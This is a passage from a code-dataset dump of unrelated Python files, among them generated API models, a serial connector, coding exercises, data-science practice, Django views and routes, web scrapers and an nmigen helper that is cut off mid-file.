E501\n\n\n :return: The customizer_type of this ComAdobeGraniteAuthImsImplIMSAccessTokenRequestCustomizerImplProperties. # noqa: E501\n :rtype: ConfigNodePropertyString\n \"\"\"\n return self._customizer_type\n\n @customizer_type.setter\n def customizer_type(self, customizer_type):\n \"\"\"Sets the customizer_type of this ComAdobeGraniteAuthImsImplIMSAccessTokenRequestCustomizerImplProperties.\n\n\n :param customizer_type: The customizer_type of this ComAdobeGraniteAuthImsImplIMSAccessTokenRequestCustomizerImplProperties. # noqa: E501\n :type: ConfigNodePropertyString\n \"\"\"\n\n self._customizer_type = customizer_type\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.openapi_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, ComAdobeGraniteAuthImsImplIMSAccessTokenRequestCustomizerImplProperties):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","sub_path":"clients/python/generated/swaggeraemosgi/models/com_adobe_granite_auth_ims_impl_ims_access_token_request_customizer_impl_properties.py","file_name":"com_adobe_granite_auth_ims_impl_ims_access_token_request_customizer_impl_properties.py","file_ext":"py","file_size_in_byte":4914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"408464235","text":"import serial\nimport time\n\nclass USBConnector(object):\n def __init__(self):\n self.port = '/dev/ttyACM0'\n self.baud_rate = 115200\n self.service = None\n self.sr_is_connect = False\n\n def connect_USB(self):\n\n try:\n self.service = serial.Serial(self.port, self.baud_rate)\n self.sr_is_connect = True\n print (\"Serial link connected\")\n\n except Exception as e:\n print (\"\\nError (Serial): %s \" % str(e))\n\n def USB_is_connected(self):\n return self.sr_is_connect\n\n def close_serial_socket(self):\n if (self.service):\n self.service.close()\n self.sr_is_connect = False \n print (\"Closing serial socket\")\n\n def send_to_USB(self, msg):\n\n try:\n print(msg)\n self.service.write(str(msg))\n # print \"Write to arduino: %s \" % msg\n\n except Exception as e:\n print (\"\\nError Serial Write: %s \" % str(e))\n self.close_serial_socket()\n time.sleep(2)\n self.connect_USB()\n\n def read_message_USB(self):\n\n try:\n received_data = self.service.readline()#.decode()#.strip('\\r\\r')\n # print \"Received from arduino: %s \" % received_data\n return received_data\n\n except Exception as e:\n print (\"\\nError Serial Read: %s \" % str(e))\n self.close_serial_socket()\n time.sleep(2)\n self.connect_USB()\n \n def flush(self):\n self.service.flushInput()\n self.service.flushOutput()\n \n# Testing purpose\n\n# if __name__ == \"__main__\":\n# print (\"Running Main\")\n# print (serial.__file__)\n# sr = USBConnector()\n# sr.connect_USB()\n# #print (\"Serial connection Successful\")\n\n# while True: \n# send_msg = input()\n# print (\"Writing [%s] to arduino\" % send_msg)\n# sr.send_to_USB(send_msg)\n\n# print (\"read\")\n# print (\"Data received '%s' from Serial\" % sr.read_message_USB())\n\n# print (\"closing sockets\")\n# sr.close_serial_socket()\n\n\n","sub_path":"Algo,Android,RPI/RPi/Backup 6 Mar/sr.py","file_name":"sr.py","file_ext":"py","file_size_in_byte":2574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"263310947","text":"from copy import deepcopy\n\n\ndef check_valid(x, y, a, b, bt):\n # 삭제하기\n if b == 0:\n temp_bt = deepcopy(bt)\n temp_bt.pop(bt.index([x, y, a]))\n for x_, y_, a_ in bt:\n if x_ == x and y_ == y and a == a_:\n continue\n if not check_valid(x_, y_, a_, 1, temp_bt):\n return False\n else:\n temp_bt.append([x_, y_, a_])\n return True\n # 설치하기\n else:\n # 보 설치\n if a:\n if [x, y-1, 0] in bt or [x+1, y-1, 0] in bt or ([x-1, y, 1] in bt and [x+1, y, 1] in bt):\n return True\n # 기둥 설치\n else:\n if y == 0 or [x-1, y, 1] in bt or [x, y, 1] in bt or [x, y-1, 0] in bt:\n return True\n return False\n\n\ndef solution(n, build_frame):\n built_frame = []\n # x가 열, y가 행\n for order in build_frame:\n x, y, a, b = order\n if check_valid(x, y, a, b, built_frame):\n if b == 1:\n built_frame.append([x, y, a])\n else:\n built_frame.pop(built_frame.index([x, y, a]))\n answer = built_frame\n answer.sort()\n return answer\n\n\n# solution(5, [[1, 0, 0, 1], [1, 1, 1, 1], [2, 1, 0, 1], [2, 2, 1, 1], [\n# 5, 0, 0, 1], [5, 1, 0, 1], [4, 2, 1, 1], [3, 2, 1, 1]])\nprint(solution(5,\t[[0, 0, 0, 1], [2, 0, 0, 1], [4, 0, 0, 1], [0, 1, 1, 1], [\n 1, 1, 1, 1], [2, 1, 1, 1], [3, 1, 1, 1], [2, 0, 0, 0], [1, 1, 1, 0], [2, 2, 0, 1]]))\n","sub_path":"Programmers/2020_카카오_상반기_공채/src/5.기둥과보설치.py","file_name":"5.기둥과보설치.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"559699879","text":"num1 = int(input(\"请输入第1个数:\"))\nnum2 = int(input(\"请输入第2个数:\"))\nnum3 = int(input(\"请输入第3个数:\"))\nnum4 = int(input(\"请输入第4个数:\"))\nnum5 = int(input(\"请输入第5个数:\"))\nnum6 = int(input(\"请输入第6个数:\"))\nnum7 = int(input(\"请输入第7个数:\"))\nnum8 = int(input(\"请输入第8个数:\"))\nnum9 = int(input(\"请输入第9个数:\"))\nnum10 = int(input(\"请输入第10个数:\"))\nSn = (num1 + num2 + num3 + num4 + num5 + num6 + num7 + num8 + num9 + num10)\nprint(\"这十个数的和为:\",Sn)\n\nwhile num1 < num2:\n num1 = num2\nelse:\n num2 = num1\nwhile num1 < num3:\n num1 = num3\nelse:\n num3 = num1\nwhile num1 < num4:\n num1 = num4\nelse:\n num4 = num1\nwhile num1 < num5:\n num1 = num5\nelse:\n num5 = num1\nwhile num1 < num6:\n num1 = num6\nelse:\n num6 = num1\nwhile num1 < num7:\n num1 = num7\nelse:\n num7 = num1\nwhile num1 < num8:\n num1 = num8\nelse:\n num8 = num1\nwhile num1 < num9:\n num1 = num9\nelse:\n num9 = num1\nwhile num1 < num10:\n num1 = num10\nelse:\n num10 = num1\n\nprint(\"最大的数是:\",num1)\nprint(\"这十个数的平均数是:\",(Sn/10))\n\nimport random\n\nnum = random.randint(49,151)\nprint(num)\n\n\n","sub_path":"day03任务.py","file_name":"day03任务.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"540986930","text":"from random import randint, seed\nseed(randint(1,100))\n\ndef input_fn():\n t = randint(1, 3)\n testcase = str(t) + '\\n'\n for i in range(t):\n n = randint(1,15)\n k = randint(0,n)\n s = ''.join([str(randint(0,1)) for i in range(n)])\n testcase += '{} {}\\n{}\\n'.format(n,k,s)\n return testcase\n\ndef input_fn2():\n t = randint(1, 3)\n testcase = str(t) + '\\n'\n for i in range(t):\n n = randint(1,15)\n arr = [str(randint(-100,100)) for i in range(n)]\n testcase += '{}\\n{}\\n'.format(n,' '.join(arr))\n return testcase\n","sub_path":"edge_case_finder/tests/test_main/test1_input_fn.py","file_name":"test1_input_fn.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"425678818","text":"import Arrays as Arrays\nfrom pyspark.sql import SparkSession\nfrom operator import add\nfrom pyspark import SparkContext\nfrom pyspark.sql import *\nfrom pyspark.sql import HiveContext\nimport numpy as np\nimport pandas as pd\nimport os\nos.environ[\"SPARK_HOME\"] = \"D:\\\\spark-2.4.3-bin-hadoop2.7\\\\\"\nos.environ[\"HADOOP_HOME\"]=\"D:\\\\winutils\"\n\n\n## 1. Import the dataset and create data framesdirectly on import.\nspark = SparkSession.builder.appName(\"Python Spark SQL basic example\").config(\"spark.some.config.option\", \"some-value\").getOrCreate()\n\ndf = spark.read.csv(\"C:\\\\Users\\\\Kruthika\\\\PycharmProjects\\\\M2_ICP_3\\\\survey.csv\",header=True);\ndf.show()\nsc = SparkSession \\\n .builder \\\n .appName(\"Python Spark SQL Hive integration example\") \\\n .master(\"local[*]\")\\\n .config(\"spark.sql.warehouse.dir\", \"something\") \\\n .enableHiveSupport() \\\n .getOrCreate()\n\n#2.Remove duplicates\ndf.dropDuplicates()\nprint(df.count())\n\n#3.UnionAll\ndf1 = df.limit(10)\ndf2 = df.limit(10)\nunionDf = df1.unionAll(df2)\nunionDf.orderBy('Country').coalesce(1).write.format('csv').save(\"output\", header='true')\n\n#4GroupBy\nprint(df.groupBy(\"treatment\"))\n\n## part-2 1. Join operation\njoined_df = df1.join(df2, df1.Country == df2.Country)\n\n# Aggregate functions\ndf.groupby('treatment').agg({'Age': 'mean'}).show()\n\n## part-2 2. 13th row\ndf13=df.take(13)\nprint(df13[-1])\ndef getdata():\n return pd.read_csv(\"C:\\\\Users\\\\Kruthika\\\\PycharmProjects\\\\M2_ICP_3\\\\survey.csv\",sep=',')\ndfd=spark.udf.register('GATE_TIME',getdata())\ndfd.registerTempTable(\"survey\")\ndf.createOrReplaceTempView(\"survey\")\n#df.registerTempTable(\"survey\")\n\n\n#bonus 2.\nsqlDF = spark.sql(\"SELECT max('Age') FROM survey\")\nsqlDF.show()\n\nsqlDF = spark.sql(\"SELECT avg('Age') FROM survey\")\nsqlDF.show()\n\n\n\n","sub_path":"Module_2/Spark-Dataframes/data_frames.py","file_name":"data_frames.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"331731710","text":"from django.shortcuts import render\nfrom .forms import UploadImageForm\nfrom django import forms\nfrom django.conf import settings\nfrom django.core.files.storage import FileSystemStorage\nfrom POC import generate_npz_process\n\n# Create your views here.\ndef poc_view(request):\n return render(request, 'POC/poc_view.html', {})\n\ndef uploadFile_view(request):\n fs = FileSystemStorage(location=settings.MEDIA_ROOT)\n \n for file in fs.listdir(fs.location)[1]:\n fs.delete(file)\n return render(request, 'POC/uploadFile_view.html', {})\n\ndef loadingUpload_view(request):\n if request.method == 'POST':\n form = UploadImageForm(request.POST, request.FILES)\n #if form.is_valid():\n files = request.FILES.getlist('image')\n if len(files) > 5:\n return render(request, 'POC/uploadFile_view.html', {'error_info': 'No se pueden evaluar más de 5 fotos'})\n elif len(files) == 0:\n return render(request, 'POC/uploadFile_view.html', {'error_info': 'Debe seleccionar por lo menos una imagen'})\n index = 1\n paths = []\n for f in files:\n fs = FileSystemStorage()\n filename = fs.save(f.name, f)\n if index == 1:\n uploaded_file_url_1 = fs.url(filename)\n elif index == 2:\n uploaded_file_url_2 = fs.url(filename)\n paths.append(settings.MEDIA_ROOT + '\\\\' + f.name)\n index = index + 1\n\n generate_npz_process.generate_npz_process.createNPZ(paths, settings.MEDIA_ROOT)\n return render(request, 'POC/result_view.html', {'uploaded_file_url_1': uploaded_file_url_1, 'uploaded_file_url_2': uploaded_file_url_2})\n \n else:\n return HttpResponseForbidden('allowed only via POST')\n return render(request, 'POC/result_view.html', {'form': form})\n\ndef result_view(request):\n return render(request, 'POC/result_view.html', {})\n","sub_path":"DjangoPOC/DjangoPOC/POC/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"64786195","text":"'''\nl = [1,2,3,4,5,6,7,8,9]\nprint(type(l))\nprint(len(l))\nprint(l[4])\nprint(l*2)\nprint(l[-2])\n#thay giá trị\nl[2]= 15\nprint(l)\nprint(l[1:5])\n#tao list tu range\na =range(5)\nprint(list(a))\na = range(1,6)\nprint(list(a))\na = range(1,10,2)\nprint(list(a)) '''\n\n\n'''\nx = [1,2,3,4,5]\nprint(x)\nx.append(11)\nprint(x) # them duoc 1 gia tri thoi, x.append(11,2,5) bi loi\nx.insert(2,9) # ham chen phần tử\nprint(x)\nx.pop(2) #hàm xóa phần tử\nprint(x)\nprint(x.count(5)) #Ham đếm số lần xuất hiện phần tử\nx = [3,2,6,8,1]\nx.sort() # Ham sắp xếp phần tử\nprint(x)\nx = ['an','binh','teo']\nx.sort()\nprint(x)\nx.reverse() # Ham đảo ngược vị trí phần tử\n# Ham xoa phan tu\nx = [5,7,8,6]\ndel x[0]\nprint(x)\ny = [5,5,7,9]\ndel y[0:3]\nprint(y)'''\n\n\n'''\nx= []\nx.append(1)\nx.append(2)\nx.append(3) # Hàng đợi, chạy từ trên xuống dưới\nprint(x) '''\n\nli = []\nfor item in range(10):\n\tli.append(item ** 2)\nprint(li)\n# tối ưu nhanh hơn\nl = [item ** 2 for item in range(10)]\nprint(l)\n\nleven = []\nfor item in l :\n\tif item % 2 ==0:\n\t\tleven.append(item)\nprint(leven)\n# Toi uu nhanh hơn\nleven1 = [item for item in l if item % 2 ==0]\nprint(leven1)\n\nla = [1,2,3]\nlb = [4,5,6]\nlc = []\nfor x in la:\n\tfor y in lb:\n\t\tlc.append((x,y))\nprint(lc)\n# Toi uu nhanh hon\nla = [1,2,3]\nlb = [4,5,6]\nlc1= [(x,y) for x in la for y in lb] \nprint(lc1)","sub_path":"bai4.py","file_name":"bai4.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"71029152","text":"import numpy as np \nimport matplotlib.pyplot as plt\nfrom numpy.random import random\n\nN = 1500\n\nmean1 = [6,14]\nmean2 = [10,6]\nmean3 = [14,14]\ncov = [[3.5,0], [0,3.5]]\n\nnp.random.seed(50)\nX = np.random.multivariate_normal(mean1, cov, int(N/6))\nX = np.concatenate((X, np.random.multivariate_normal(mean2, cov, int(N/6))))\nX = np.concatenate((X, np.random.multivariate_normal(mean3, cov, int(N/6))))\nX = np.concatenate((X, 20*np.random.rand(int(N/2),2)))\nY = np.concatenate((np.ones(int(N/2)),np.zeros(int(N/2))))\n\n#########################################\n# Training and Test set creation\n#########################################\n\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.8, random_state=1)\n\nfrom sklearn import tree\nfrom sklearn.metrics import accuracy_score\n\n#########################################\n# Model fitting and evaluation\n#########################################\n\nmaxdepths = [2,3,4,5,6,7,8,9,10,15,20,25,30,35,40,45,50]\ntrainAcc = np.zeros(len(maxdepths))\ntestAcc = np.zeros(len(maxdepths))\nindex = 0\n\nfor depth in maxdepths:\n clf = tree.DecisionTreeClassifier(max_depth=depth)\n clf = clf.fit(X_train, Y_train)\n Y_predTrain = clf.predict(X_train)\n Y_predTest = clf.predict(X_test)\n trainAcc[index] = accuracy_score(Y_train, Y_predTrain)\n testAcc[index] = accuracy_score(Y_test, Y_predTest)\n index += 1\n\nfrom sklearn import ensemble\nfrom sklearn.tree import DecisionTreeClassifier\n\nnumBaseClassifiers = 500\nmaxdepth = 10\ntrainAcc = []\ntestAcc = []\n\nclf = ensemble.RandomForestClassifier(n_estimators=numBaseClassifiers)\nclf.fit(X_train, Y_train)\nY_predTrain = clf.predict(X_train)\nY_predTest = clf.predict(X_test)\ntrainAcc.append(accuracy_score(Y_train, Y_predTrain))\ntestAcc.append(accuracy_score(Y_test, Y_predTest))\n\nclf = ensemble.BaggingClassifier(DecisionTreeClassifier(max_depth=maxdepth),n_estimators=numBaseClassifiers)\nclf.fit(X_train, Y_train)\nY_predTrain = clf.predict(X_train)\nY_predTest = clf.predict(X_test)\ntrainAcc.append(accuracy_score(Y_train, Y_predTrain))\ntestAcc.append(accuracy_score(Y_test, Y_predTest))\n\nclf = ensemble.AdaBoostClassifier(DecisionTreeClassifier(max_depth=maxdepth),n_estimators=numBaseClassifiers)\nclf.fit(X_train, Y_train)\nY_predTrain = clf.predict(X_train)\nY_predTest = clf.predict(X_test)\ntrainAcc.append(accuracy_score(Y_train, Y_predTrain))\ntestAcc.append(accuracy_score(Y_test, Y_predTest))\n\nmethods = ['Random Forest', 'Bagging', 'AdaBoost']\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(12,6))\nax1.bar([1.5,2.5,3.5], trainAcc)\nax1.set_xticks([1.5,2.5,3.5])\nax1.set_xticklabels(methods)\nax2.bar([1.5,2.5,3.5], testAcc)\nax2.set_xticks([1.5,2.5,3.5])\nax2.set_xticklabels(methods)\n\nplt.show()","sub_path":"Week6/datamining_week6_14.py","file_name":"datamining_week6_14.py","file_ext":"py","file_size_in_byte":2751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"599181885","text":"\r\n\"\"\"\r\nThis module includes orchestration algorithms of SFC.\r\nAny other orchestration alogrithm can be added here.\r\n\"\"\"\r\n\r\n\r\ndef orchestrate(vnfs, cons):\r\n \"\"\"A simple orchestration algorithm.\r\n \r\n :param vnfs: the list of VNFs to be orchestrated\r\n :param cons: the list of sequence constrains between two kinds of VNFs\r\n :returns: the list of VNFs in the SFC which has satisfied the constrains\r\n \"\"\"\r\n sfc = []\r\n for vnf in vnfs:\r\n if vnf not in sfc:\r\n sfc.append(vnf)\r\n for i in range(len(cons)):\r\n if vnf == cons[i][0]:\r\n counter = 0\r\n while cons[i][1] in sfc:\r\n sfc.remove(cons[i][1])\r\n counter += 1\r\n for j in range(counter):\r\n sfc.append(cons[i][1])\r\n else:\r\n for k in range(len(sfc)):\r\n if sfc[k] == vnf:\r\n sfc.insert(k, vnf)\r\n break\r\n return sfc\r\n","sub_path":"algorithm/orchestrator.py","file_name":"orchestrator.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"390136667","text":"# coding=utf-8\n\"\"\"WaiMao URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.9/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url, include\nfrom django.contrib import admin\nfrom django.views.static import serve\n\nfrom WaiMao.settings import MEDIA_ROOT\nfrom home.views import HomeView\nfrom users.views import LoginView, ForgetPwdView, RegisterView\nfrom users.views import SoundCateView, SoundDir, SoundPlay\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^$', HomeView.as_view(),name='homeview'),\n url(r'^login/$', LoginView.as_view(),name='loginview'),\n url(r'^register/$', RegisterView.as_view(), name='register'),\n url(r'^forget/$', ForgetPwdView.as_view(), name='forget_pwd'),\n url(r'^sound/category/$', SoundCateView.as_view(), name='sound_cate'),\n url(r'^sound/dir/(?P.*)/$', SoundDir.as_view(), name='sound_dir'),\n url(r'^sound/play/(?P.*)/$', SoundPlay.as_view(), name='sound_play'),\n\n # 增加微信接口\n\n url(r'^weixin/', include('weixin.urls', namespace='weixin')),\n url(r'^wenda/', include('wenda.urls', namespace='news')),\n\n # 增加首页接口\n url(r'^home/', include('home.urls', namespace='home')),\n\n url(r'^englishCorner/', include('operation.urls', namespace='operation')),\n\n # 配置上传文件的访问处理函数\n url(r'^(?P.*bdunion.txt)$', serve, {\"document_root\": MEDIA_ROOT}),\n url(r'^media/(?P.*)$', serve, {\"document_root\": MEDIA_ROOT}),\n url(r'^captcha/', include('captcha.urls')),\n\n\n]\n","sub_path":"WaiMao/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"384477884","text":"\"\"\"\n5-8. Hello Admin: Make a list of five or more usernames, including then name\n'admin'. Imagine you are writing code that will print a greeting to each user:\n1. If the username is 'admin', print a message, such as Hello admin, would you\nlike to see a status report?\n2. Otherwise, print a generic greeting, such as Hello Jaden, thank you for\njogging in again.\n\n5-9. No Users: Add an if test to check if the list is not empty.\n3. If the list is empty, print the message stating no users available\n4. Remove all users from the list to ensure the message is printed\n\"\"\"\nusernames = [\"editor\", \"manger\", \"admin\", \"QA\", \"owner\"]\nfor name in usernames:\n if name == \"admin\":\n print(f\"Hello Admin, would you like to view status report?\")\n else:\n print(f\"Hello {name.title()}, you have new messages in your mail.\")\n\n\nif usernames:\n for name in usernames:\n print(f\"Verifying {name.title()} account\")\n print(\"\\nAccounts verified\")\nelse:\n print(\"No users available, please register user accounts\")\n\n\"\"\"\n5-10. Checking usernames: Do the following to create a program that simulates \nhow a website ensure that everyone has a unique username.\n1. make a list of five or more usernames called current_users.\n2. Make another list of five usernames called new_users. Make sure one or two of\nthe new usernames are also in the current users list.\n3. Loop through the new_users list to see if each new username has already been\nused. If it has, print a message telling the user that the name has been taken \nand should try something else. If not, print a message telling the username is \navailable.\n4. Make sure your comparision is case sensitive. if John has been used JOHN \nshould not be accepted. \n\"\"\"\ncurrent_users = [\"Amelia\", \"John\", \"Mary\", \"Henry\", \"Phillip\", \"Anna\", \"Trump\"]\ncurrent_users_lower = [user.lower() for user in current_users]\n\nnew_users = [\"Draco\", \"Drake\", \"mary\", \"john\", \"diana\"]\nfor username in new_users:\n if username.lower() in current_users_lower:\n print(\"Username unavailable! Please enter another username: \")\n else:\n print(\"Username available! Continue your registration.\")\n\n\"\"\"\n5-11. Ordinal numbers: Ordinal numbers indicate their position in a list, such\nas 1st and 2nd. Most ordinal numbers end in th, except 1, 2 and 3.\n1. Store the numbers 1 to 9 in a list\n2. Loop through the list\n3. Use an if-elif-else chain in the loop to print the proper ordinal ending for\neach number. Your output should read \"1st, 2nd, 3rd .... 9th\" and each output \nshould be on a separate line. \n\"\"\"\nnumbers = []\nfor number in range(1, 10):\n numbers.append(number)\n print(number)\nfor position in numbers:\n if position == 1:\n print(\"1st\")\n elif position == 2:\n print(\"2nd\")\n elif position == 3:\n print(\"3rd\")\n else:\n print(f\"{position}th\")\n","sub_path":"conditions/if_test2.py","file_name":"if_test2.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"370587874","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('patients', '0012_hash'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='hash',\n old_name='hashname',\n new_name='name',\n ),\n ]\n","sub_path":"patients/migrations/0013_auto_20150607_2155.py","file_name":"0013_auto_20150607_2155.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"41961335","text":"import urllib.request\nfrom bs4 import BeautifulSoup\n\nlist_sites = []\nnum = 200 #upto 200\n\nfor i in range(1, num):\n url = 'https://www.quantcast.com/top-sites/DE/' + str(i)\n with urllib.request.urlopen(url) as response:\n html = response.read()\n soup = BeautifulSoup(html, 'html.parser')\n pretty_html = soup.prettify()\n with open(str(i) + '.hmtl', 'w') as f:\n f.write(pretty_html)\n all_td = soup.find_all(\"td\", class_=\"link\")\n for td in all_td:\n site = td.find('a')\n if site:\n #print(site.string)\n list_sites.append(site.string)\n\nprint(len(list_sites))\n\nwith open('top_sites_DE.txt', 'w') as f:\n for site in list_sites:\n f.write(site + '\\n')\n","sub_path":"Code/quantcast.py","file_name":"quantcast.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"321673128","text":"from web import all_pages, get_price, get_km, get_model, get_maker, get_year\nimport pandas as pd\n\n\ndef create_table(url_link):\n prices = []\n years = []\n makers = []\n models = []\n kms = []\n soup_list = all_pages(url_link)\n for s in soup_list:\n prices.extend(get_price(s))\n years.extend(get_year(s))\n models.extend(get_model(s))\n kms.extend(get_km(s))\n makers.extend(get_maker(s))\n data = pd.DataFrame({'Price': prices, 'Made Year': years, 'Manufacture': makers, 'Model': models, 'Kilometer': kms})\n data['Made Year'] = data['Made Year'].convert_objects(convert_numeric=True)\n data = data.dropna()\n return data\n\n\nif __name__ == '__main__':\n url = 'https://www.kijiji.ca/b-cars-trucks/city-of-toronto/suv+crossover-2013__2018-used/' \\\n 'c174l1700273a138a68a49?price=30000__80000&kilometers=10000__100000'\n df = create_table(url)\n df.to_csv('Car Scrapping.csv', sep=',')\n","sub_path":"scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"182691735","text":"\ndef fun(sBase, sRep, tBase):\n table = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F']\n v = 0\n mult = 1\n for i in reversed(range(len(sRep))):\n d = table.index(sRep[i])\n v += d*mult\n mult *= sBase\n ret = []\n while v != 0:\n d = table[v % tBase]\n ret.insert(0, d)\n v = int(v / tBase)\n return ''.join(ret)\n\n\n\nprint(fun(16, 'FFFFF', 10))","sub_path":"epi/python/ch05 Primitive Types (47-173)/07_base_conversion.py","file_name":"07_base_conversion.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"540381574","text":"import speech_recognition as sr\nr = sr.Recognizer()\n\nr.dynamic_energy_threshold = False\n\n# a = pyaudio.PyAudio()\n\n# for i in range(a.get_device_count()):\n # print(a.get_device_info_by_index(i))\n\nwhile True:\n with sr.Microphone() as source:\n print('silence...')\n r.adjust_for_ambient_noise(source, duration=2)\n print('say something..')\n audio = r.listen(source)\n print('trying to recoginize')\n\n try:\n t = r.recognize_google(audio)\n v = r.recognize_sphinx(audio)\n print('You just said ' + t)\n print(v)\n except:\n print('something went wrong')\n","sub_path":"mic.py","file_name":"mic.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"46139151","text":"from django.shortcuts import render\nfrom django.core.paginator import Paginator\nfrom .models import Recipe\n\n\ndef index(request):\n recipe_list = Recipe.objects.order_by('-pk').all()\n paginator = Paginator(recipe_list, 6)\n page_number = request.GET.get('page')\n page = paginator.get_page(page_number)\n return render(\n request, 'index.html',\n {'page': page, 'paginator': paginator}\n )\n","sub_path":"recipe_blog/recipes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"371764690","text":"#-*- coding: utf-8 -*-\n\nr = open(\"hightemp.txt\", \"r\")\n\ntemp = r.read()\nr.close()\ntemp = temp.replace(\"\\t\", \" \")\nw = open(\"hightemp_space.txt\", \"w\")\nw.write(temp)\n\nw.close()\n\n#UNIX command: tr \"\\t\" \" \" < hightemp.txt > text_space_unix.txt\n","sub_path":"Hayahide/chapter02/knock11.py","file_name":"knock11.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"19563651","text":"import re\nimport sys\nfrom typing import List, Callable, Union, Tuple\n\nfrom nmigen import Elaboratable, Module, Signal, signed, unsigned, Cat, Value\nfrom nmigen.back.pysim import Simulator, Delay\nfrom nmigen.hdl.ast import Statement\nfrom nmigen.build import Platform\nfrom nmigen.asserts import Past\nfrom nmigen.cli import main_parser, main_runner\n\nclass ElaboratableAbstract(Elaboratable):\n \n extra_proofs = {}\n\n def __init__(self):\n self.input_signal_list : List[Signal] = []\n self.output_signal_list : List[Signal] = []\n self.aux_ports : List[Signal] = []\n self.module : Module = None #FILL ME IN ELEBORATE\n \n\n def inputs(self) -> List[Signal]:\n return [x for x in self.input_signal_list]\n\n def outputs(self) -> List[Signal]:\n return [x for x in self.output_signal_list]\n\n def ports(self) -> List[Signal]:\n return self.inputs() + self.outputs() + self.aux_ports\n\n def add_existing_input_signal(self, signal : Signal):\n self.input_signal_list.append(signal)\n return signal\n\n def add_existing_output_signal(self, signal : Signal):\n self.output_signal_list.append(signal)\n return signal\n\n def add_input_signal(self, *kw, **args):\n return self.add_existing_input_signal(Signal(*kw, **args))\n\n def add_output_signal(self, *kw, **args):\n return self.add_existing_output_signal(Signal(*kw, **args))\n\n def add_auxiliary_port(self, *kw, **args):\n signal = Signal(*kw, **args)\n self.aux_ports.append(signal)\n return signal\n\n\n def elaborate_range(self, m:Module, n:range, initial_value:Statement, step:Callable[[Module, Statement, int], Statement]):\n last_value = initial_value\n\n if type(n) is int:\n n = range(n)\n if type(n) is tuple:\n assert len(n) == 2\n n = range(n[0], n[1])\n\n for i in n:\n last_value = step(m, last_value, i)\n return last_value\n\n def build_tree_or(self, terms : List[Statement]) -> Statement:\n assert terms, \"no eleemnts\"\n\n while len(terms) > 1:\n new_terms = []\n i = 0\n 